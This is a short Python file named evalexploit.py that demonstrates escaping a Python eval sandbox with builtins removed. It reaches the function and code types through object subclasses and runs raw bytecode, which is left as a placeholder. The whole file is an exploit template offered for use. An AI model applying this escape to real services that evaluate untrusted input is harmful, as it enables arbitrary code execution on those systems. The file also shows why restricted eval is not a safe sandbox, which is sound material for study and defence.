evalexploit.py

s = """
(lambda fc=(
    lambda n: [
        c for c in
            ().__class__.__bases__[0].__subclasses__()
            if c.__name__ == n
        ][0]
    ):
    fc("function")(
        fc("code")(
            0,0,0,0,"BYTECODE GOES HERE",(),(),(),"","",0,""
        ),{}
    )()
)()
"""
eval(s, {'__builtins__':{}})